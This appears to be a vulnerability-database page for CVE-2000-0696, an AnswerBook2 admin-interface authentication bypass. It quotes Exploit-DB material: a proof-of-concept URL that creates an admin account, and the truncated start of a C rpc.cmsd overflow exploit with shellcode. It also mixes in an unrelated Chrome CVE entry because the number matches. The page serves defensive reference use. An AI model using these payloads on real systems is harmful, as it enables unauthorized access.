CVE-2000-0696
published 2000-10-20CVE-2000-0696: The administration interface for the dwhttpd web server in Solaris AnswerBook2 does not properly authenticate requests to its supporting CGI scripts, which…
PriorityP433high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
7.18%
93.6th percentile
The administration interface for the dwhttpd web server in Solaris AnswerBook2 does not properly authenticate requests to its supporting CGI scripts, which allows remote attackers to add user accounts to the interface by directly calling the admin CGI script.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| chrome_chrome | — | — | |
| sun | solaris_answerbook2 | — | — |
| sun | solaris_answerbook2 | — | — |
| sun | solaris_answerbook2 | — | — |
| sun | solaris_answerbook2 | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-jw3x-m75w-3629: The administration interface for the dwhttpd web server in Solaris AnswerBook2 does not properly authenticate requests to its supporting CGI scripts,
ghsa_unreviewed·2022-04-30
CVE-2000-0696 [HIGH] GHSA-jw3x-m75w-3629: The administration interface for the dwhttpd web server in Solaris AnswerBook2 does not properly authenticate requests to its supporting CGI scripts,
The administration interface for the dwhttpd web server in Solaris AnswerBook2 does not properly authenticate requests to its supporting CGI scripts, which allows remote attackers to add user accounts to the interface by directly calling the admin CGI script.
Chrome
Stable Channel Update for Desktop: CVE-2023-0696
vendor_chrome·2023-02-07·CVSS 8.8
CVE-2023-0696 [HIGH] Stable Channel Update for Desktop: CVE-2023-0696
Stable Channel Update for Desktop
CVE-2023-0696: Type Confusion in V8. Reported by Haein Lee at KAIST Hacking Lab on 2022-12-18 [$4000][ 1341541 ] High CVE-2023-0697: Inappropriate implementation in Full screen mode
Reported by Ahmed ElMasry on 2022-07-03 [$2000][ 1403573 ] High CVE-2023-0698: Out of bounds read in WebRTC
Severity: high
No detection rules found.
Exploit-DB
Sun AnswerBook2 1.4.2/1.4.3/1.4.4 - Administration Interface Access
exploitdb·2000-08-08
CVE-2000-0696 Sun AnswerBook2 1.4.2/1.4.3/1.4.4 - Administration Interface Access
Sun AnswerBook2 1.4.2/1.4.3/1.4.4 - Administration Interface Access
---
source: https://www.securityfocus.com/bid/1554/info
A lack of authentication checks for certain scripts within the administration interface of AnswerBook2 versions 1.4.2 and prior, for Solaris, allows remote users to create administration accounts. By directly accessing the /cgi-bin/admin/admin script present under the AnswerBook2 dwhttpd web server, it is possible to add users to the administration interface. This will allow the attacker to read log files and manage content.
http://www.example.com:8888/cgi-bin/admin/admin?command=add_user&uid=percebe&password=percebe&re_password=percebe"
Exploit-DB
Caldera OpenUnix 8.0/UnixWare 7.1.1 / HP HP-UX 11.0 / Solaris 7.0 / SunOS 4.1.4 - rpc.cmsd Buffer Overflow (2)
exploitdb·1999-07-13
CVE-1999-0696 Caldera OpenUnix 8.0/UnixWare 7.1.1 / HP HP-UX 11.0 / Solaris 7.0 / SunOS 4.1.4 - rpc.cmsd Buffer Overflow (2)
Caldera OpenUnix 8.0/UnixWare 7.1.1 / HP HP-UX 11.0 / Solaris 7.0 / SunOS 4.1.4 - rpc.cmsd Buffer Overflow (2)
---
// source: https://www.securityfocus.com/bid/524/info
There is a remotely exploitable buffer overflow vulnerability in rpc.cmsd which ships with Sun's Solaris and HP-UX versions 10.20, 10.30 and 11.0 operating systems. The consequence is a remote root compromise.
/*
* Unixware 7.x rpc.cmsd exploit by jGgM
* http://www.netemperor.com/en/
* EMail: [email protected]
*/
#include
#include
#include
#include
#include
#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_PROC 21
#define BUFFER_SIZE 1036
#define SHELL_START 1024
#define RET_LENGTH 12
#define ADJUST 100
#define NOP 0x90
#define LEN 68
char shell[] =
/* 0 */ "\xeb\x3d" /* jmp springboard [2000]*/
/* syscall: [200
No writeups or analysis indexed.
http://archives.neohapsis.com/archives/sun/2000-q3/0001.htmlhttp://seclists.org/bugtraq/2000/Aug/0105.htmlhttp://www.s21sec.com/en/avisos/s21sec-004-en.txthttp://www.securityfocus.com/bid/1554https://exchange.xforce.ibmcloud.com/vulnerabilities/5069http://archives.neohapsis.com/archives/sun/2000-q3/0001.htmlhttp://seclists.org/bugtraq/2000/Aug/0105.htmlhttp://www.s21sec.com/en/avisos/s21sec-004-en.txthttp://www.securityfocus.com/bid/1554https://exchange.xforce.ibmcloud.com/vulnerabilities/5069
2000-10-20
Published